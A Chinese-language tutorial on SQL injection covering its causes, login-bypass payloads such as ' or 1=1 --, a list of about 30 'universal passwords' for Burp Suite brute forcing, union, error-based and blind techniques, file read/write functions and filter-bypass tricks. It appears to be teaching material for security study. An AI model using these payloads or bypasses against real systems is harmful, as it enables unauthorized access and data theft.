01 SQL注入简介
SQL注入的原因
- 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
- 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中
可能存在SQL注入的位置
web应用在获取用户数据的地方,只要带入数据库查询,就可能存在注入
常见的地方包括:
- GET数据
- POST数据
- HTTP头部
- COOKIE数据
...
SQL注入的危害
- 获取管理员的账号密码
- 获取数据库中内容
- 修改或插入数据到数据库内
- 利用注入漏洞获得webshell
02 SQL注入原理
简单案例讲解
在常见的登录页面,通常使用如下SQL语句:
select * from admin where username='输入的用户名' and password='输入的密码'
如果用户输入的用户名为' or 1=1 -- 注意最后需要有一个空格
拼接起来的SQL语句为
select * from admin where username=' ' or 1=1 -- ' and password='输入的密码'
使用单引号提前闭合,or 1=1永远为真,--将后边的内容注释掉,即完成查询,实现了登录,我们输入的' or 1=1 -- 就可以看作为一个万能密码
SQL语句中的注释
-
(可以用%23代替)
--+ 或者--空格 (空格可以用%20代替)
/*....*/
-
/*!...*/ 此为内联注释,在mysql中可以执行注释中的语句,其他系统无法执行
如:select * from articles where id=id使用内联注释注入 select *from articles where id=
-1 /*!union*//*!select*/ 1,2,3,4
在mysql中可以执行 union select 1,2,3,4
以下列出了一些常见的万能密码
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
可以将以上密码作为字典,使用burpsuite用枚举的方法进行测试
简单注入漏洞探测
一般网页的CMS逻辑为:CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id对应文章
可以利用Google Hacking寻找可能存在漏洞的URL
简单验证方法,如在URL中?id=1 后边添加内容:
- 单引号 '
- and 1=1
- and 1=2
**逻辑运算
在SQL语句中,and比or的优先级高
select 1=2 and 1=2 or 1=1
返回的结果为1 **
如果页面中mysql报错,证明存在sql注入漏洞
如果报错信息中存在自己输入的值,就是字符型注入,否则是数字型注入
根据页面显示的内容,可以分为报错注入、盲注等
SQL注入的分类
- 根据输入数据的分类:
- 数字型 select * from table where id=@id
- 字符型 select * from table where id='@id'
- 根据注入手法的分类:
- 联合查询 页面有回显
使用order by判断出表的列数
使用select 1,2,3 观察各列的输出情况,替换成想要查询的内容 - 报错注入 页面有报错信息
报错信息会显示在页面中,可以执行报错注入
可以使用group by语句报错,如:
?id=1 union select 1,concat(left(rand(),3),'^',(select version()),'^')a,count(*),3 from information_schema.tables group by a --+ - 布尔盲注 页面有真假状态
通常使用二分法对数据库名等信息进行长度、ascii码的探测
根据页面的真假状态进行判断表达式是否正确 - 延时盲注 页面没有真假状态
通常使用二分法对数据库名等信息进行长度、ascii码的探测
使用if(exp,sleep(),1)根据时间判断表达式是否正确
- 联合查询 页面有回显
- 根据提交方式的分类:
- GET型 可以直接在URL中修改参数进行测试
- POST型 需要抓包进行参数修改
- 一些特殊的注入:宽字节注入、二次注入
sql注入常用的函数
- select user()查看当前用户名
- select database()查看当前数据库
- select version()查看当前版本
- Limit m,n 从第m行开始到第m+n行(从0开始索引)
- order by 获取字段数
- length() 获取长度
- ascii() 获取ascii码
- substring(s,m,n),substr(),mid() 截取字符串
三个参数分别是截取的字符串,截取的起始位置(从1开始计数),截取长度 - floor(x) 返回不大于x的最大整数
- round() 返回参数x最接近的整数
- rand() 返回0-1之间的随机浮点数
- load_file() 读取文件,并返回文件内容作为一个字符串
- select ... into outfile '绝对路径' 写入文件
- sleep(n) 延时n秒
- benchmark(n,e) 执行e表达式n次,通过指定较大的n,实现延时
- if(exp,t,f) 如果exp表达式为真就返回t,为假就返回f
SQL注入绕过方式
-
大小写绕过,sql语句对大小写不敏感
如:AnD、ORdeR
使用&&、||替换and和or
双写绕过
如:ununionion-
编码绕过
利用URL编码 或 十六进制编码
内联注释绕过
mysql中内联注释中的内容会被执行
如:/*!select*/ * from admin 可以正常执行注释被过滤时,要闭合后边